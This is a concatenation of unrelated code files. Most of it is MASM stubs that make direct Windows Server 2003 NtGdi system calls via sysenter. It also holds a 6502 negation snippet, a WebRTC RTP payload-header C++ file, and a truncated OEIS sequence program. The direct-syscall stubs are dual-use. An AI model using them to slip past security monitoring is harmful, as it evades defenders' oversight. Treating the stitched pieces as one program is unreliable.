mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngStretchBltROP ENDP
; ULONG __stdcall NtGdiXLATEOBJ_cGetPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiXLATEOBJ_cGetPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4717
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiXLATEOBJ_cGetPalette ENDP
; ULONG __stdcall NtGdiXLATEOBJ_iXlate( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiXLATEOBJ_iXlate PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4718
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiXLATEOBJ_iXlate ENDP
; ULONG __stdcall NtGdiXLATEOBJ_hGetColorTransform( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiXLATEOBJ_hGetColorTransform PROC STDCALL arg_01:DWORD
mov eax , 4719
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiXLATEOBJ_hGetColorTransform ENDP
; ULONG __stdcall NtGdiCLIPOBJ_bEnum( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiCLIPOBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4720
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCLIPOBJ_bEnum ENDP
; ULONG __stdcall NtGdiCLIPOBJ_cEnumStart( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiCLIPOBJ_cEnumStart PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4721
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCLIPOBJ_cEnumStart ENDP
; ULONG __stdcall NtGdiCLIPOBJ_ppoGetPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCLIPOBJ_ppoGetPath PROC STDCALL arg_01:DWORD
mov eax , 4722
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCLIPOBJ_ppoGetPath ENDP
; ULONG __stdcall NtGdiEngDeletePath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngDeletePath PROC STDCALL arg_01:DWORD
mov eax , 4723
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngDeletePath ENDP
; ULONG __stdcall NtGdiEngCreateClip( );
_5_2_3790_sp2_windows_2003_NtGdiEngCreateClip PROC STDCALL
mov eax , 4724
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngCreateClip ENDP
; ULONG __stdcall NtGdiEngDeleteClip( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngDeleteClip PROC STDCALL arg_01:DWORD
mov eax , 4725
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngDeleteClip ENDP
; ULONG __stdcall NtGdiBRUSHOBJ_ulGetBrushColor( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_ulGetBrushColor PROC STDCALL arg_01:DWORD
mov eax , 4726
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_ulGetBrushColor ENDP
; ULONG __stdcall NtGdiBRUSHOBJ_pvAllocRbrush( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_pvAllocRbrush PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4727
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_pvAllocRbrush ENDP
; ULONG __stdcall NtGdiBRUSHOBJ_pvGetRbrush( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_pvGetRbrush PROC STDCALL arg_01:DWORD
mov eax , 4728
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_pvGetRbrush ENDP
; ULONG __stdcall NtGdiBRUSHOBJ_hGetColorTransform( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_hGetColorTransform PROC STDCALL arg_01:DWORD
mov eax , 4729
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_hGetColorTransform ENDP
; ULONG __stdcall NtGdiXFORMOBJ_bApplyXform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiXFORMOBJ_bApplyXform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4730
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiXFORMOBJ_bApplyXform ENDP
; ULONG __stdcall NtGdiXFORMOBJ_iGetXform( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiXFORMOBJ_iGetXform PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4731
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiXFORMOBJ_iGetXform ENDP
; ULONG __stdcall NtGdiFONTOBJ_vGetInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_vGetInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4732
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_vGetInfo ENDP
; ULONG __stdcall NtGdiFONTOBJ_pxoGetXform( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pxoGetXform PROC STDCALL arg_01:DWORD
mov eax , 4733
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pxoGetXform ENDP
; ULONG __stdcall NtGdiFONTOBJ_cGetGlyphs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_cGetGlyphs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4734
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_cGetGlyphs ENDP
; ULONG __stdcall NtGdiFONTOBJ_pifi( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pifi PROC STDCALL arg_01:DWORD
mov eax , 4735
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pifi ENDP
; ULONG __stdcall NtGdiFONTOBJ_pfdg( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pfdg PROC STDCALL arg_01:DWORD
mov eax , 4736
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pfdg ENDP
; ULONG __stdcall NtGdiFONTOBJ_pQueryGlyphAttrs( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pQueryGlyphAttrs PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4737
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pQueryGlyphAttrs ENDP
; ULONG __stdcall NtGdiFONTOBJ_pvTrueTypeFontFile( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pvTrueTypeFontFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4738
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_pvTrueTypeFontFile ENDP
; ULONG __stdcall NtGdiFONTOBJ_cGetAllGlyphHandles( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_cGetAllGlyphHandles PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4739
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFONTOBJ_cGetAllGlyphHandles ENDP
; ULONG __stdcall NtGdiSTROBJ_bEnum( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4740
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_bEnum ENDP
; ULONG __stdcall NtGdiSTROBJ_bEnumPositionsOnly( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_bEnumPositionsOnly PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4741
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_bEnumPositionsOnly ENDP
; ULONG __stdcall NtGdiSTROBJ_bGetAdvanceWidths( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_bGetAdvanceWidths PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4742
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_bGetAdvanceWidths ENDP
; ULONG __stdcall NtGdiSTROBJ_vEnumStart( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_vEnumStart PROC STDCALL arg_01:DWORD
mov eax , 4743
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_vEnumStart ENDP
; ULONG __stdcall NtGdiSTROBJ_dwGetCodePage( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_dwGetCodePage PROC STDCALL arg_01:DWORD
mov eax , 4744
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSTROBJ_dwGetCodePage ENDP
; ULONG __stdcall NtGdiPATHOBJ_vGetBounds( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_vGetBounds PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4745
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_vGetBounds ENDP
; ULONG __stdcall NtGdiPATHOBJ_bEnum( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4746
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_bEnum ENDP
; ULONG __stdcall NtGdiPATHOBJ_vEnumStart( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_vEnumStart PROC STDCALL arg_01:DWORD
mov eax , 4747
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_vEnumStart ENDP
; ULONG __stdcall NtGdiPATHOBJ_vEnumStartClipLines( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_vEnumStartClipLines PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4748
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_vEnumStartClipLines ENDP
; ULONG __stdcall NtGdiPATHOBJ_bEnumClipLines( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_bEnumClipLines PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4749
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPATHOBJ_bEnumClipLines ENDP
; ULONG __stdcall NtGdiGetDhpdev( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiGetDhpdev PROC STDCALL arg_01:DWORD
mov eax , 4750
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDhpdev ENDP
; ULONG __stdcall NtGdiEngCheckAbort( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiEngCheckAbort PROC STDCALL arg_01:DWORD
mov eax , 4751
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiEngCheckAbort ENDP
; ULONG __stdcall NtGdiHT_Get8BPPFormatPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiHT_Get8BPPFormatPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4752
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiHT_Get8BPPFormatPalette ENDP
; ULONG __stdcall NtGdiHT_Get8BPPMaskPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiHT_Get8BPPMaskPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4753
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiHT_Get8BPPMaskPalette ENDP
; ULONG __stdcall NtGdiUpdateTransform( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiUpdateTransform PROC STDCALL arg_01:DWORD
mov eax , 4754
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiUpdateTransform ENDP
; ULONG __stdcall NtGdiSetPUMPDOBJ( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiSetPUMPDOBJ PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4755
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetPUMPDOBJ ENDP
; ULONG __stdcall NtGdiBRUSHOBJ_DeleteRbrush( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_DeleteRbrush PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4756
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiBRUSHOBJ_DeleteRbrush ENDP
; ULONG __stdcall NtGdiUnmapMemFont( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiUnmapMemFont PROC STDCALL arg_01:DWORD
mov eax , 4757
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiUnmapMemFont ENDP
; ULONG __stdcall NtGdiDrawStream( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiDrawStream PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4758
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiDrawStream ENDP
; ULONG __stdcall NtGdiMakeObjectXferable( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiMakeObjectXferable PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4759
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiMakeObjectXferable ENDP
; ULONG __stdcall DxEngGetRedirectionBitmap( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_DxEngGetRedirectionBitmap PROC STDCALL arg_01:DWORD
mov eax , 4760
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_DxEngGetRedirectionBitmap ENDP
|
lda #0
sec
sbc {m1}
sta {m1}
lda #0
sbc {m1}+1
sta {m1}+1
|
/*
* Copyright (c) 2018 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "call/rtp_payload_params.h"
#include "modules/rtp_rtcp/include/rtp_rtcp_defines.h"
#include "modules/video_coding/include/video_codec_interface.h"
#include "rtc_base/checks.h"
#include "rtc_base/logging.h"
#include "rtc_base/random.h"
#include "rtc_base/timeutils.h"
#include "system_wrappers/include/field_trial.h"
namespace webrtc {
namespace {
void PopulateRtpWithCodecSpecifics(const CodecSpecificInfo& info,
absl::optional<int> spatial_index,
RTPVideoHeader* rtp) {
rtp->codec = info.codecType;
switch (info.codecType) {
case kVideoCodecVP8: {
auto& vp8_header = rtp->video_type_header.emplace<RTPVideoHeaderVP8>();
vp8_header.InitRTPVideoHeaderVP8();
vp8_header.nonReference = info.codecSpecific.VP8.nonReference;
vp8_header.temporalIdx = info.codecSpecific.VP8.temporalIdx;
vp8_header.layerSync = info.codecSpecific.VP8.layerSync;
vp8_header.keyIdx = info.codecSpecific.VP8.keyIdx;
rtp->simulcastIdx = spatial_index.value_or(0);
return;
}
case kVideoCodecVP9: {
auto& vp9_header = rtp->video_type_header.emplace<RTPVideoHeaderVP9>();
vp9_header.InitRTPVideoHeaderVP9();
vp9_header.inter_pic_predicted =
info.codecSpecific.VP9.inter_pic_predicted;
vp9_header.flexible_mode = info.codecSpecific.VP9.flexible_mode;
vp9_header.ss_data_available = info.codecSpecific.VP9.ss_data_available;
vp9_header.non_ref_for_inter_layer_pred =
info.codecSpecific.VP9.non_ref_for_inter_layer_pred;
vp9_header.temporal_idx = info.codecSpecific.VP9.temporal_idx;
vp9_header.temporal_up_switch = info.codecSpecific.VP9.temporal_up_switch;
vp9_header.inter_layer_predicted =
info.codecSpecific.VP9.inter_layer_predicted;
vp9_header.gof_idx = info.codecSpecific.VP9.gof_idx;
vp9_header.num_spatial_layers = info.codecSpecific.VP9.num_spatial_layers;
if (vp9_header.num_spatial_layers > 1) {
vp9_header.spatial_idx = spatial_index.value_or(kNoSpatialIdx);
} else {
vp9_header.spatial_idx = kNoSpatialIdx;
}
if (info.codecSpecific.VP9.ss_data_available) {
vp9_header.spatial_layer_resolution_present =
info.codecSpecific.VP9.spatial_layer_resolution_present;
if (info.codecSpecific.VP9.spatial_layer_resolution_present) {
for (size_t i = 0; i < info.codecSpecific.VP9.num_spatial_layers;
++i) {
vp9_header.width[i] = info.codecSpecific.VP9.width[i];
vp9_header.height[i] = info.codecSpecific.VP9.height[i];
}
}
vp9_header.gof.CopyGofInfoVP9(info.codecSpecific.VP9.gof);
}
vp9_header.num_ref_pics = info.codecSpecific.VP9.num_ref_pics;
for (int i = 0; i < info.codecSpecific.VP9.num_ref_pics; ++i) {
vp9_header.pid_diff[i] = info.codecSpecific.VP9.p_diff[i];
}
vp9_header.end_of_picture = info.codecSpecific.VP9.end_of_picture;
return;
}
case kVideoCodecH264: {
auto& h264_header = rtp->video_type_header.emplace<RTPVideoHeaderH264>();
h264_header.packetization_mode =
info.codecSpecific.H264.packetization_mode;
rtp->simulcastIdx = spatial_index.value_or(0);
return;
}
case kVideoCodecMultiplex:
case kVideoCodecGeneric:
rtp->codec = kVideoCodecGeneric;
rtp->simulcastIdx = spatial_index.value_or(0);
return;
default:
return;
}
}
void SetVideoTiming(const EncodedImage& image, VideoSendTiming* timing) {
if (image.timing_.flags == VideoSendTiming::TimingFrameFlags::kInvalid ||
image.timing_.flags == VideoSendTiming::TimingFrameFlags::kNotTriggered) {
timing->flags = VideoSendTiming::TimingFrameFlags::kInvalid;
return;
}
timing->encode_start_delta_ms = VideoSendTiming::GetDeltaCappedMs(
image.capture_time_ms_, image.timing_.encode_start_ms);
timing->encode_finish_delta_ms = VideoSendTiming::GetDeltaCappedMs(
image.capture_time_ms_, image.timing_.encode_finish_ms);
timing->packetization_finish_delta_ms = 0;
timing->pacer_exit_delta_ms = 0;
timing->network_timestamp_delta_ms = 0;
timing->network2_timestamp_delta_ms = 0;
timing->flags = image.timing_.flags;
}
} // namespace
RtpPayloadParams::RtpPayloadParams(const uint32_t ssrc,
const RtpPayloadState* state)
: ssrc_(ssrc),
generic_picture_id_experiment_(
field_trial::IsEnabled("WebRTC-GenericPictureId")),
generic_descriptor_experiment_(
field_trial::IsEnabled("WebRTC-GenericDescriptor")) {
for (auto& spatial_layer : last_shared_frame_id_)
spatial_layer.fill(-1);
Random random(rtc::TimeMicros());
state_.picture_id =
state ? state->picture_id : (random.Rand<int16_t>() & 0x7FFF);
state_.tl0_pic_idx = state ? state->tl0_pic_idx : (random.Rand<uint8_t>());
}
RtpPayloadParams::RtpPayloadParams(const RtpPayloadParams& other) = default;
RtpPayloadParams::~RtpPayloadParams() {}
RTPVideoHeader RtpPayloadParams::GetRtpVideoHeader(
const EncodedImage& image,
const CodecSpecificInfo* codec_specific_info,
int64_t shared_frame_id) {
RTPVideoHeader rtp_video_header;
if (codec_specific_info) {
PopulateRtpWithCodecSpecifics(*codec_specific_info, image.SpatialIndex(),
&rtp_video_header);
}
rtp_video_header.rotation = image.rotation_;
rtp_video_header.content_type = image.content_type_;
rtp_video_header.playout_delay = image.playout_delay_;
SetVideoTiming(image, &rtp_video_header.video_timing);
const bool is_keyframe = image._frameType == kVideoFrameKey;
const bool first_frame_in_picture =
(codec_specific_info && codec_specific_info->codecType == kVideoCodecVP9)
? codec_specific_info->codecSpecific.VP9.first_frame_in_picture
: true;
SetCodecSpecific(&rtp_video_header, first_frame_in_picture);
if (generic_descriptor_experiment_)
SetGeneric(shared_frame_id, is_keyframe, &rtp_video_header);
return rtp_video_header;
}
uint32_t RtpPayloadParams::ssrc() const {
return ssrc_;
}
RtpPayloadState RtpPayloadParams::state() const {
return state_;
}
void RtpPayloadParams::SetCodecSpecific(RTPVideoHeader* rtp_video_header,
bool first_frame_in_picture) {
// Always set picture id. Set tl0_pic_idx iff temporal index is set.
if (first_frame_in_picture) {
state_.picture_id = (static_cast<uint16_t>(state_.picture_id) + 1) & 0x7FFF;
}
if (rtp_video_header->codec == kVideoCodecVP8) {
auto& vp8_header =
absl::get<RTPVideoHeaderVP8>(rtp_video_header->video_type_header);
vp8_header.pictureId = state_.picture_id;
if (vp8_header.temporalIdx != kNoTemporalIdx) {
if (vp8_header.temporalIdx == 0) {
++state_.tl0_pic_idx;
}
vp8_header.tl0PicIdx = state_.tl0_pic_idx;
}
}
if (rtp_video_header->codec == kVideoCodecVP9) {
auto& vp9_header =
absl::get<RTPVideoHeaderVP9>(rtp_video_header->video_type_header);
vp9_header.picture_id = state_.picture_id;
// Note that in the case that we have no temporal layers but we do have
// spatial layers, packets will carry layering info with a temporal_idx of
// zero, and we then have to set and increment tl0_pic_idx.
if (vp9_header.temporal_idx != kNoTemporalIdx ||
vp9_header.spatial_idx != kNoSpatialIdx) {
if (first_frame_in_picture &&
(vp9_header.temporal_idx == 0 ||
vp9_header.temporal_idx == kNoTemporalIdx)) {
++state_.tl0_pic_idx;
}
vp9_header.tl0_pic_idx = state_.tl0_pic_idx;
}
}
// There are currently two generic descriptors in WebRTC. The old descriptor
// can not share a picture id space between simulcast streams, so we use the
// |picture_id| in this case. We let the |picture_id| tag along in |frame_id|
// until the old generic format can be removed.
// TODO(philipel): Remove this when the new generic format has been fully
// implemented.
if (generic_picture_id_experiment_ &&
rtp_video_header->codec == kVideoCodecGeneric) {
rtp_video_header->generic.emplace().frame_id = state_.picture_id;
}
}
void RtpPayloadParams::SetGeneric(int64_t frame_id,
bool is_keyframe,
RTPVideoHeader* rtp_video_header) {
if (rtp_video_header->codec == kVideoCodecVP8) {
Vp8ToGeneric(frame_id, is_keyframe, rtp_video_header);
}
// TODO(philipel): Implement VP9 to new generic descriptor.
// TODO(philipel): Implement H264 to new generic descriptor.
// TODO(philipel): Implement generic codec to new generic descriptor.
}
void RtpPayloadParams::Vp8ToGeneric(int64_t shared_frame_id,
bool is_keyframe,
RTPVideoHeader* rtp_video_header) {
const auto& vp8_header =
absl::get<RTPVideoHeaderVP8>(rtp_video_header->video_type_header);
const int spatial_index = 0;
const int temporal_index =
vp8_header.temporalIdx != kNoTemporalIdx ? vp8_header.temporalIdx : 0;
if (temporal_index >= RtpGenericFrameDescriptor::kMaxTemporalLayers ||
spatial_index >= RtpGenericFrameDescriptor::kMaxSpatialLayers) {
RTC_LOG(LS_WARNING) << "Temporal and/or spatial index is too high to be "
"used with generic frame descriptor.";
return;
}
RTPVideoHeader::GenericDescriptorInfo& generic =
rtp_video_header->generic.emplace();
generic.frame_id = shared_frame_id;
generic.spatial_index = spatial_index;
generic.temporal_index = temporal_index;
if (is_keyframe) {
RTC_DCHECK_EQ(temporal_index, 0);
last_shared_frame_id_[spatial_index].fill(-1);
last_shared_frame_id_[spatial_index][temporal_index] = shared_frame_id;
return;
}
if (vp8_header.layerSync) {
int64_t tl0_frame_id = last_shared_frame_id_[spatial_index][0];
for (int i = 1; i < RtpGenericFrameDescriptor::kMaxTemporalLayers; ++i) {
if (last_shared_frame_id_[spatial_index][i] < tl0_frame_id) {
last_shared_frame_id_[spatial_index][i] = -1;
}
}
RTC_DCHECK_GE(tl0_frame_id, 0);
RTC_DCHECK_LT(tl0_frame_id, shared_frame_id);
generic.dependencies.push_back(tl0_frame_id);
} else {
for (int i = 0; i <= temporal_index; ++i) {
int64_t frame_id = last_shared_frame_id_[spatial_index][i];
if (frame_id != -1) {
RTC_DCHECK_LT(frame_id, shared_frame_id);
generic.dependencies.push_back(frame_id);
}
}
}
last_shared_frame_id_[spatial_index][temporal_index] = shared_frame_id;
}
} // namespace webrtc
|
; A311536: Coordination sequence Gal.6.120.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,8,12,17,22,27,32,37,42,46,50,54,58,62,66,71,76,81,86,91,96,100,104,108,112,116,120,125,130,135,140,145,150,154,158,162,166,170,174,179,184,189,194,199,204,208,212,216,220
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $3,$0
lpb $0
